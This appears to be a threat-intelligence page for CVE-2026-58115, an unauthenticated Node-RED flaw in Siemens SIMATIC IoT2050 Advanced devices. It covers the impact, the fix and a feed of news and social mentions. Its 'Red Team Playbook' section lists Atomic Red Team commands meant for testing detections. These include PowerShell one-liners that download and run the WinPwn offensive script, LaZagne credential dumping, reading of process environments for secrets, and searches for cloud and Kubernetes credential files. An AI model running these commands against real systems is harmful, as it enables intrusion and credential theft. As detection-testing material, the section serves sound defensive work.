CVE-2026-58115
Overview
This vulnerability is an authentication bypass affecting the Node-RED HTTP interface component of Siemens SIMATIC IoT2050 Advanced devices running Industrial OS with Node-RED installed. The root cause is the absence of enforced authentication on the HTTP interface, which exposes programming nodes that can execute system commands. This lack of access control on the Node-RED service allows unauthenticated users to interact directly with the server's command execution functionality.
Vulnerability Description
A vulnerability has been identified in SIMATIC IoT2050 Advanced (6ES7647-0BA00-1YA2) (All versions < V4.3.4.1 running Industrial OS with Node-RED installed). Affected devices do not enforce authentication on the Node-RED HTTP interface, allowing unauthenticated access to programming nodes that are capable of executing system commands on the server. This could allow an unauthenticated remote attacker to create malicious flows through the HTTP interface in order to execute arbitrary code on the underlying server with maximum privileges.
Impact
An unauthenticated remote attacker can gain full control of the affected device by creating malicious Node-RED flows that execute arbitrary commands with maximum privileges on the server. This enables complete system compromise, including data manipulation, disruption of industrial processes, and lateral movement within the network. No authentication or user interaction is required, making the device vulnerable to remote exploitation and potentially causing severe operational and security impacts for industrial environments.
Solution
Siemens has released an advisory (SSA-834709) recommending updating SIMATIC IoT2050 Advanced to version 4.3.4.1 or later, which enforces authentication on the Node-RED HTTP interface. Users should apply this update promptly to mitigate the vulnerability. Detailed patch instructions and additional mitigation guidance are available at the Siemens ProductCERT portal: https://cert-portal.siemens.com/productcert/html/ssa-834709.html.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Active exploitation confirmed with 16 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (41)
37 mentions from 23 sources in the last 7 days BuzzFactor 92 / 100
-
social infosec.exchange @edwardk 2026-11-03 10:03 UTCAttackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors A maximum-severity flaw in Siemens SIMATIC IoT2050 Advanced devices, tracked as CVE-2026-58115 with a CVSS score of 10.0, has come under active exploitation,…Open source
-
social bsky.app @e-kiledjian.bsky.social 2026-11-03 10:03 UTCAttackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors A maximum-severity flaw in Siemens SIMATIC IoT2050 Advanced devices, tracked as CVE-2026-58115 with a CVSS score of 10.0, has come under... https://threatint…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-03 09:43 UTCActive Exploitation Attempts Target Siemens SIMATIC IoT2050 Devices Through Critical Vulnerability CVE-2026-58115 + Video Introduction: Industrial IoT Devices Become Targets for Linux-Based Intrusions Industrial Internet of Things (IIoT) d…Open source
-
social infosec.exchange @117161147213522104 2026-11-03 09:22 UTCA flaw Siemens patched in August is now under attack. VulnCheck has watched attackers hit CVE-2026-58115, a missing-authentication flaw in the Node-RED interface on SIMATIC IoT2050 gateways, since 30 October to drop a Linux bot binary. Som…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-03 09:12 UTCVulnCheck observed attempts to exploit CVE-2026-58115 on Siemens SIMATIC IoT2050 Advanced devices, deploying Linux payloads and Node-RED command backdoors. Siemens fixed the flaw in version 4.3.4.1 or later.Open source
-
news sqmagazine.co.uk 2026-11-03 08:17 UTCSiemens IoT2050 Flaw Exploited to Plant Node-RED Backdoors - SQ MagazineOpen source
-
social news.ycombinator.com Betelbuddy 2026-11-03 08:11 UTCCVE-2026-58115 – CVSS-B 10 CRITICAL – Siemens SIMATIC IoT2050 devices Node-REDOpen source
-
social bsky.app @thebadgamer.bsky.social 2026-11-03 08:01 UTCSiemens IoT2050 Advanced owners should remove or harden Node-RED after VulnCheck reported attacks; NVD has no fixed version published yet. #authentication #cybersecurity… https://www.trickyworld.in/computer-tricks/cyber-security/cve-2026-5…Open source
-
social mastodon.social @burso 2026-11-03 07:52 UTCSiemens IoT2050 Node-RED CVE-2026-58115 (CVSS 10.0) under active exploitation. Unauth flows drop Linux bots on exposed gateways. Update Industrial OS to 4.3.4.1+ or secure Node-RED now. # Siemens # IoT # CVE # AIOpen source
-
social bsky.app @calimegai.bsky.social 2026-11-03 07:34 UTC⚠️ Faille critique #Siemens IoT2050 (CVE-2026-58115, CVSS 10.0) — absence d'authentification : un attaquant distant peut exécuter du code et implanter des backdoors. #IoT thehackernews.com/2026/11/atta...Open source
-
social bsky.app @newssecia.bsky.social 2026-11-03 07:26 UTC🤖 CVE-2026-58115 (CVSS 10.0): missing auth in Siemens SIMATIC IoT2050 Advanced lets unauthenticated attackers run code remotely. VulnCheck reports active exploitation to plant backdoors. https://thehackernews.com/2026/11/attackers-exploit-…Open source
-
social infosec.exchange @cloud 2026-11-03 07:26 UTC🤖 CVE-2026-58115 (CVSS 10.0): missing authentication in Siemens SIMATIC IoT2050 Advanced. Unauthenticated remote attacker can run arbitrary code. VulnCheck reports active exploitation, used to plant remote-access backdoors. 🔗 https:// theh…Open source
-
social bsky.app @postac001.bsky.social 2026-11-03 06:25 UTCSiemens SIMATIC IoT2050 Advancedに認証不備の脆弱性(CVE-2026-58115)があり、攻撃者はリモートから任意コード実行を試みています。Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-03 06:19 UTCSiemens SIMATIC IoT2050 Devices Hit by Active Exploitation of Critical CVSS 100 Vulnerability + Video CRITICAL — CVSS 10.0 Active Exploitation Observed Introduction: Industrial IoT Devices Become Targets for Remote Code Execution Attacks A…Open source
-
social bsky.app @cybernewsph.com 2026-11-03 06:12 UTC“The vulnerability, tracked as CVE-2026-58115 (CVSS score: 10.0), is a case of missing authentication for a critical function that could be exploited by an unauthenticated remote attacker to run arbitrary code”, The Hacker News reports. #c…Open source
-
social bsky.app @hapsis.bsky.social 2026-11-03 06:05 UTCAttackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors thehackernews.com/2026/11/atta... #Kyberturvallisuus #Kyber #TilannekuvaOpen source
-
news finance.biggo.com 2026-11-03 06:05 UTCSiemens IoT2050 Gateway Flaw Rated 10.0 Exploited to Plant Persistent Linux Backdoors - BigGo FinanceOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-03 06:04 UTCAttackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command BackdoorsOpen source
-
social bsky.app @raven-sec.bsky.social 2026-11-03 06:01 UTCAI attacks surge: NCSC warns critical infrastructure at risk • Siemens IoT2050 (CVE-2026-58115) exploited remotely • Chinese ARTEX AI targets 200+ orgs in 14 countries 5 sources verified · hackingallthethings.com #infosec #threatintel #cyb…Open source
-
social bsky.app @sec-news-bot.bsky.social 2026-11-03 06:01 UTCSiemens IoT2050の重大脆弱性CVE-2026-58115が悪用され、バックドア設置 Siemens SIMATIC IoT2050の脆弱性CVE-2026-58115が悪用され、攻撃者がLinuxボットペイロードとコマンド実行バックドアを展開しています。工業用制御システムユーザーは直ちにパッチ適用が必須です。 #CVE #脆弱性 #マルウェアOpen source
-
social bsky.app @thedailytechfeed.com 2026-11-03 05:53 UTCSiemens IoT2050 with Node-RED is under heavy attack using CVE-2026-58115—remote backdoors are being planted. #Cybersecurity #IoT #Siemens #CVE-2026-58115 #Node-RED #OTSecurity https://thedailytechfeed.com/siemens-iot2050-flaw-lets-attacker…Open source
-
social mastodon.social @hacksgr 2026-11-03 05:43 UTCA maximum-severity vulnerability in Siemens SIMATIC IoT2050 Advanced devices running Industrial OS with Node-RED is under active exploitation. Tracked as CVE-2026-58115 with a CVSS score of 10.0, the issue stems from missing authentication…Open source
-
social bsky.app @hacks.gr 2026-11-03 05:43 UTCAttackers are actively exploiting a maximum-severity authentication flaw in Node-RED on Siemens SIMATIC IoT2050 Advanced devices, tracked as CVE-2026-58115. https://en.hacks.gr/keno-asfaleias-se-syskeyles-tis-siemens-chrisimopoieitai-se-ep…Open source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-11-03 05:34 UTCOpen source
-
news thehackernews.com 2026-11-03 05:34 UTCAttackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors - The Hacker NewsOpen source
-
news news.lavx.hu 2026-11-03 04:37 UTCFrozen part II: Hackers remotely defrost produce in Euro supermarkets ... again - news.lavx.huOpen source
-
news news.lavx.hu 2026-11-03 04:32 UTCGoogle disrupts 1.3 million-device Android botnet, says TV box maker sold criminal access - news.lavx.huOpen source
-
code github.com foxcornlab 2026-11-03 04:17 UTCfoxcornlab/node-red-scannerOpen source
-
news news.lavx.hu 2026-11-03 04:04 UTCMax-severity Node-RED flaw exploited to deploy Linux malware - news.lavx.huOpen source
-
news mezha.net 2026-11-03 02:01 UTCMaximum-severity Node-RED flaw exploited to deliver Linux malware - Mezha.netOpen source
-
news mezha.net 2026-11-03 02:01 UTCTrump touts reflecting pool renovation in final remarks before midterms - Mezha.netOpen source
-
social bsky.app @johonotodai.bsky.social 2026-11-03 00:35 UTC工場IoTのNode-RED無認証API悪用、CVSS 10.0のCVE-2026-58115でLinuxプログラム投入の攻撃を観測Open source
-
social infosec.exchange @116797276219291526 2026-11-03 00:05 UTCA critical 10.0 CVSS Node-RED RCE vulnerability (CVE-2026-58115) is exploited in the wild to deploy Linux bot malware. Secure your exposed instances now. # NodeRED # RCE # CVE202658115 # Siemens # IoT # Cybersecurity # Vulnerability # Info…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-03 00:05 UTCA critical 10.0 CVSS Node-RED RCE vulnerability (CVE-2026-58115) is exploited in the wild to deploy Linux bot malware. Secure your exposed instances now. #NodeRED #RCE #CVE202658115 #Siemens #IoT #Cybersecurity #Vulnerability #InfoSecOpen source
-
news theregister.com 2026-11-02 22:55 UTCMax-severity bug in widely used OT programming tool exploited to deliver Linux malware - The RegisterOpen source
-
news news.lavx.hu 2026-11-02 20:07 UTCFBI blames North Korea for $6.3 billion Binance crypto theft - news.lavx.huOpen source
-
news news.lavx.hu 2026-11-02 16:23 UTCToken thieves drain $100,000 daily from corporate LLM accounts - news.lavx.huOpen source
-
news ad-hoc-news.de 2026-08-27 07:00 UTCSiemens stock trades just below record high as metro MoU and IoT security issues shape outlook - ad-hoc-news.deOpen source
-
social bsky.app @o2cloud.bsky.social 2026-08-12 12:25 UTC🔗 CVE : CVE-2026-58115, CVE-2026-59693Open source
-
social bsky.app @securityonline.bsky.social 2026-08-12 07:32 UTCCVE-2026-58115 is a CVSS 10 flaw letting unauthenticated attackers run code on SIMATIC IoT2050 via Node-RED. Siemens urges an immediate update. #CVE202658115 #Siemens #NodeRED #RCE #SIMATIC #ICS #CybersecurityOpen source
-
social bsky.app @stackflag.bsky.social 2026-08-11 13:30 UTCCVE-2026-58115 - simatic iot2050 advanced Certain versions of SIMATIC IoT2050 Advanced without the latest security patch allow unauthenticated remote access to programming nodes that can execute system commands. This… Too many irrelevant o…Open source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-58115 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-834709.html |